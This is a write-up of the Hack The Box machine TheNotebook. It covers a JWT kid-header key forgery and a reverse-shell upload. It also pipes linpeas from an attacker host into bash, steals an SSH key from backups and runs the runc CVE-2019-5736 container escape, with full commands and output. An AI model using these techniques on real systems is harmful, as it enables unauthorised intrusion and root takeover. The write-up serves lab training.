Home Hack The Box - TheNotebook writeup
Post
Cancel

Hack The Box - TheNotebook writeup

TheNotebook image

Foothold

We start with usual nmap enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ nmap -sC -sV -oN nmap-initial 10.10.10.230

Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-29 21:53 CEST
Nmap scan report for 10.10.10.230
Host is up (0.030s latency).
Not shown: 997 closed ports
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
|   256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_  256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp    open     http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
10010/tcp filtered rxapi
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.28 seconds

The web server is running nginx version 1.14.0.
This version is only vulnerable to some DDOS attacks, not what we’re looking for. So we move on.

On port 80 we land on the main page

main page

We register as a new user to the website. Once the registration completes successfully the view changes

registered

We now have the possibility to write our own notes.

We fire up dirbuster on http://10.10.10.230 with directory medium size, enabling php extension and blank extension. We find a couple of files:

1
2
3
4
5
File found: /login - 500
File found: /register - 500
File found: /admin - 403
File found: /static/book.svg - 200
File found: /logout - 302

The admin directory is particularly interesting. However when we try to browse it, we get ‘Forbidden’ .

I’s time to use our dirbuster again, this time on the /admin/ subdirectory.
Again we find a couple of entries

1
2
/admin/notes
/aadmin/upload

/admin/notes

We end up in the admin notes section

admin notes

We play a bit with the notes as registered and unregistered user, causing some Internal Server Error every now and then.
Nothing that we can exploit though.

/login page

We try to log in with default credentials (admin:password).
The pair is not valid but we get to know that the admin user actually exists thanks to the error message

login

If the username is not correct, the website will answer with a Login Failed! Reason: User doesn't exist..

We can try to bruteforce the password using hydra

1
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.230 http-post-form "/login:username=^USER^&password=^PASS^:Incorrect Password" -v

But no luck.

Auth cookies

Auth cookies are set when we register to the website.
We take the auth token and decode it base64

1
2
$ echo -n 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5LmtleSJ9.eyJ1c2VybmFtZSI6ImFudG9uaW8iLCJlbWFpbCI6ImFudG9uaW8uc2FjY29AZ21haWwuY29tIiwiYWRtaW5fY2FwIjowfQ.pP5n0gq91-BWVBMUHkEEpBW4NzkLT_9fmYqzdoLhkySKB4iBVAS3OnLbnK8RyeP2AibzKLJ1X1d2JXqhGugGgt2cuCooYKG2kMhfucVQOHA1pwQa8AVnJZInMJo6DRYl7qvc4iiZCZHcAhgCJUgwvrhxnyPgoHuftIgBHFDjuc3I2MLyZweX4ifqqj23GbQM8EurTnubI4omXOQyGPQmS97DuJLYDjyNI_9L3ttrz2s0bLzoGa-7PdIYB-uuv27QfcDUDs9n2tEuYRc4RmOkL0d02TfD60Ya5HPhmhbO7ZT7EHm5schlFkgU2rrHZFWZuJc7Pum3CNcm5c-qodvB0hN89qjhB74p0DAror25dIXVQyT6kqZu53o09UWnHPzBFlCUAf5LUx0mVAor83JtGgsGKrHiLNqncZtdkPizAmy0m5WLcYuIUwLLMTP6zF0CEoRbqk5x1-RpTXPcnhOoq-OKiaTu-QU1RGE8nx4Iw8GeQFxdYpLJbFp47u9UFkzc8dYM9jPwquiBSxy-6A6KkjhcQJ8QLJZ5-S5nh2RjBHbHsvrJXwuij5sIWUz2hx1ixobAVueqweoNRCew9V4_uEt3jLsbg0_iiAO3ucKdLuiUYzYgojPKsU4Tb_fQk2qQ1uk6jKbOKiyW6cxFZx-6IKB07Kf-8VAhqKwF-ZSq-zQ;' | base64 -d
{"typ":"JWT","alg":"RS256","kid":"http://localhost:7070/privKey.key"}base64: invalid input

It’s a JWT (JSON web token).
The JWT token has the form xxxx.yyyy.zzzz, where xxxx is the header, yyyy the payload and zzzz the signature on header + payload.

We can thus split the auth token in 3 and decode them:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ echo -n 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5LmtleSJ9.eyJ1c2VybmFtZSI6ImFudG9uaW8iLCJlbWFpbCI6ImFudG9uaW8uc2FjY29AZ21haWwuY29tIiwiYWRtaW5fY2FwIjowfQ.pP5n0gq91-BWVBMUHkEEpBW4NzkLT_9fmYqzdoLhkySKB4iBVAS3OnLbnK8RyeP2AibzKLJ1X1d2JXqhGugGgt2cuCooYKG2kMhfucVQOHA1pwQa8AVnJZInMJo6DRYl7qvc4iiZCZHcAhgCJUgwvrhxnyPgoHuftIgBHFDjuc3I2MLyZweX4ifqqj23GbQM8EurTnubI4omXOQyGPQmS97DuJLYDjyNI_9L3ttrz2s0bLzoGa-7PdIYB-uuv27QfcDUDs9n2tEuYRc4RmOkL0d02TfD60Ya5HPhmhbO7ZT7EHm5schlFkgU2rrHZFWZuJc7Pum3CNcm5c-qodvB0hN89qjhB74p0DAror25dIXVQyT6kqZu53o09UWnHPzBFlCUAf5LUx0mVAor83JtGgsGKrHiLNqncZtdkPizAmy0m5WLcYuIUwLLMTP6zF0CEoRbqk5x1-RpTXPcnhOoq-OKiaTu-QU1RGE8nx4Iw8GeQFxdYpLJbFp47u9UFkzc8dYM9jPwquiBSxy-6A6KkjhcQJ8QLJZ5-S5nh2RjBHbHsvrJXwuij5sIWUz2hx1ixobAVueqweoNRCew9V4_uEt3jLsbg0_iiAO3ucKdLuiUYzYgojPKsU4Tb_fQk2qQ1uk6jKbOKiyW6cxFZx-6IKB07Kf-8VAhqKwF-ZSq-zQ;' | sed "s/\./\n/g" | base64 -d | jq
base64: invalid input
{
  "typ": "JWT",
  "alg": "RS256",
  "kid": "http://localhost:7070/privKey.key"
}
{
  "username": "antonio",
  "email": "antonio.sacco@gmail.com",
  "admin_cap": 0
}
parse error: Invalid numeric literal at line 2, column 3

There’s a strange reference to the private key in the JWT header.

We definitely need to look more into it

Bypass JWT token

In the JWT header we have a link to a private key. It will be used by the server to verify the correctness of the signature.

We first try to access the /privKey.key but nope :(.

We know that the server needs to access the file and retrieve the content before the authenticity check of the JWT takes place.
That means that we could trick the server into fetching the private key from our local webserver, listening on port 7070.

We use a python script to generate and send the token, using the pyjwt python module.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import jwt
import requests

# Generate jwt. Algorithm and secret are not important.
encoded = jwt.encode({"username":"antonio","email":"antonio.sacco@gmail.com","admin_cap":0},
                    "",
                    headers={"kid":"http://10.10.14.22:7070/privKey.key"})

cookies = {"auth":encoded}


r = requests.get('http://10.10.10.230/',cookies=cookies)

print(encoded)
print("JWT sent")

Algorithm and secret are not important in this case.

We create a simple webserver to receive the request

1
2
3
4
$ python3 -m http.server 7070
Serving HTTP on 0.0.0.0 port 7070 (http://0.0.0.0:7070/) ...
10.10.10.230 - - [05/May/2021 11:37:27] code 404, message File not found
10.10.10.230 - - [05/May/2021 11:37:27] "GET /privKey.key HTTP/1.1" 404 -

We are not currently hosting a privKey.key yet, but this response confirm that the file is actually fetched.

How can we leverage it?

Well, given that we can control the private key, we can forge any JWT token we want.

Login as admin

We create our new token using JWT.io, very fast and convenient.

We select the RS256 algorithm.
The JWT.io offers an easy to use interface to create tokens. They already provide us of a mock private and pub key pair We change the username to admin and the admin_cap to 1 (Not really sure what it does, but it’s probably 1 for admins))

The private key will be used by the victim server to check the validity of the signature.
We create a privKey.key in locale, copying the private key from JWT.io.

We start again the local webserver: python3 -m http.server 7070.

We copy the token and paste it in the auth cookie.

Refreshing the page we are logged in as admin.

In the Admin panel we can upload a file. We upload our reverse shell and we get foothold.

1
2
3
4
5
6
7
8
9
10
11
$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.22] from (UNKNOWN) [10.10.10.230] 51240
Linux thenotebook 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 11:43:52 up  6:35,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami 
www-data
$ 

User

We have a shell under the www-data user.

Stabilize the shell: python3 -c 'import pty; pty.spawn("/bin/bash")'

Enumeration with linpeas: curl http://10.10.14.22:7070/linpeas.sh | bash

meanwhile we also move around in the system.
The content of /var is not standard at all. We should take a deeper look.

In /var/backups there is an interesting file that we can read: home.tar.gz.

We unzip it in the /var/tmp directory because we have write permissions there

1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@thenotebook:/var/backups$ tar -xvzf home.tar.gz --directory /var/tmp
home/                                                                                                                                                                                                                                      
home/noah/                                                                                                                                                                                                                                 
home/noah/.bash_logout                                                                                                                                                                                                                     
home/noah/.cache/                                                                                                                                                                                                                          
home/noah/.cache/motd.legal-displayed                                                                                                                                                                                                      
home/noah/.gnupg/                                                                                                                                                                                                                          
home/noah/.gnupg/private-keys-v1.d/                                                                                                                                                                                                        
home/noah/.bashrc                                                                                                                                                                                                                          
home/noah/.profile                                                                                                                                                                                                                         
home/noah/.ssh/                                                                                                                                                                                                                            
home/noah/.ssh/id_rsa                                                                                                                                                                                                                      
home/noah/.ssh/authorized_keys                                                                                                                                                                                                             
home/noah/.ssh/id_rsa.pub            

It’s the backup of the noah’s home directory.
It contains the private ssh key.

We can take it and use it to login as noah in ssh (don’t forget to restrict the permissions of the id_rsa file, otherwise the ssh server will refuse the connection)

1
2
3
4
5
$ ssh noah@10.10.10.230 -i id_rsa

Last login: Wed Feb 24 09:09:34 2021 from 10.10.14.5
noah@thenotebook:~$ 

We have now a shell as noah.

Root

Here we start our path to root.

We can execute a docker command as root without the need of the password

First thing we do is to look at GTFObins but none of the tips applies to our case.

We can spawn a shell as the root user in docker

Moving around the docker we find some interesting hashes in /opt/webapp/create_db.py:

1
2
User(username='admin', email='admin@thenotebook.local', uuid=admin_uuid, admin_cap=True, password="0d3ae6d144edfb313a9f0d32186d4836791cbfd5603b2d50cf0d9c948e50ce68"),
User(username='noah', email='noah@thenotebook.local', uuid=noah_uuid, password="e759791d08f3f3dc2338ae627684e3e8a438cd8f87a400cada132415f48e01a2")

We try to crack the hashes with hashcat. The algorithm used is probably SHA3-256 ( as it’s the the one used in //opt/webapp/main.py)

1
hashcat -m 17400 -a 0 hash /usr/share/wordlists/rockyou.txt

None of the passwords are recovered.

Escape the docker container

Let’s look at the docker version

1
2
noah@thenotebook:~$ docker --version
Docker version 18.06.0-ce, build 0ffa825

We can search for known exploits:

1
2
3
4
5
6
7
$ searchsploit docker 18.06.0
-------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                  |  Path
-------------------------------------------------------------------------------- ---------------------------------
runc < 1.0-rc6 (Docker < 18.09.2) - Container Breakout (1)                      | linux/local/46359.md
runc < 1.0-rc6 (Docker < 18.09.2) - Container Breakout (2)                      | linux/local/46369.md
-------------------------------------------------------------------------------- ---------------------------------

We download the second one with: searchesploit -m linux/local/46369.md.
(I picked randomly between the 2, I suppose they both work)

We modify the payload of the exploit in CVE-2019-5736/bad_init.sh by adding our reverse shell

We set up a netcat llistener on our local machine: nc -lnvp 4242

The docker cleans itself pretty quickly, we need to deliver and execute our exploit fast

1
2
3
4
sudo docker exec -it webapp-dev01  curl http://10.10.14.150:8000/exploit.zip --output exploit.zip &&
sudo docker exec -it webapp-dev01 unzip exploit.zip &&
sudo docker exec -it webapp-dev01 ./CVE-2019-5736/make.sh &&
sudo docker exec -it webapp-dev01 /bin/bash 

In order these commands will:

  • Deliver the exploit archive to the docker container from our local machine
  • Unzip it
  • Compile the exploit
  • Trigger our payload (Below if you want to hear more on the exploit and vulnerability)

It’s now time to execute it.

Output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  8413  100  8413    0     0   115k      0 --:--:-- --:--:-- --:--:--  117k
Archive:  exploit.zip
replace CVE-2019-5736/bad_init.sh? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: CVE-2019-5736/bad_init.sh  
replace CVE-2019-5736/make.sh? [y]es, [n]o, [A]ll, [N]one, [r]ename: ^Cnoah@thenotebook:~$ ./file.sh 
OCI runtime state failed: fork/exec /usr/bin/docker-runc: text file busy: : unknown
noah@thenotebook:~$ ./file.sh 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  8400  100  8400    0     0   102k      0 --:--:-- --:--:-- --:--:--  103k
Archive:  exploit.zip
   creating: CVE-2019-5736/
  inflating: CVE-2019-5736/bad_init.sh  
  inflating: CVE-2019-5736/make.sh   
  inflating: CVE-2019-5736/README.md  
  inflating: CVE-2019-5736/.README.md.swp  
  inflating: CVE-2019-5736/bad_libseccomp.c  
+++ dirname ./CVE-2019-5736/make.sh
++ readlink -f ./CVE-2019-5736
+ cd /opt/webapp/CVE-2019-5736
++ egrep 'libseccomp\.so'
++ sort -r
++ find /lib /lib64 /usr/lib
++ head -n1
+ SECCOMP_TARGET=/usr/lib/x86_64-linux-gnu/libseccomp.so.2.3.3
+ cp ./bad_libseccomp.c ./bad_libseccomp_gen.c
+ objdump -T /usr/lib/x86_64-linux-gnu/libseccomp.so.2.3.3
+ awk '($4 == ".text" && $6 == "Base") { print "void", $7 "() {}" }'
+ cp ./bad_init.sh /bad_init
+ gcc -Wall -Werror -fPIC -shared -rdynamic -o /usr/lib/x86_64-linux-gnu/libseccomp.so.2.3.3 ./bad_libseccomp_gen.c
+ mv /bin/bash /bin/good_bash
+ cat
+ chmod +x /bin/bash
[+] bad_libseccomp.so booted.
[+] opened ro /proc/self/exe <3>.
[+] constructed fdpath </proc/self/fd/3>
[+] bad_init is ready -- see </tmp/bad_init_log> for logs.
[*] dying to allow /proc/self/exe to be unused...

Meanwhile on our local machine…

1
2
3
4
5
6
$ nc -lnvp 4242
listening on [any] 4242 ...
connect to [10.10.14.150] from (UNKNOWN) [10.10.10.230] 50662
sh: 0: can't access tty; job control turned off
# whoami
root

The exploit worked and we have now a root shell on the victim machine.

The flag is waiting for us under the /root/ directory

1
2
3
4
5
6
7
# ls /root/
cleanup.sh
docker-runc
reset.sh
root.txt
start.sh
# 

A quick look at the vulnerability: CVE-2019-5736

CVE description by MITRE:

“runc through 1.0-rc6, as used in Docker before 18.09.2 and other products, allows attackers to overwrite the host runc binary (and consequently obtain host root access) by leveraging the ability to execute a command as root within one of these types of containers: (1) a new container with an attacker-controlled image, or (2) an existing container, to which the attacker previously had write access, that can be attached with docker exec. This occurs because of file-descriptor mishandling, related to /proc/self/exe. “

The runC is a container runtime. It contains all the code used to interact with the system features related to the container.
The vulnerability had a big impact given the wide diffusion of containers using runC.

Very interesting read if you want to learn more about the vulnerability and the exploit: https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/

This post is licensed under CC BY 4.0 by the author.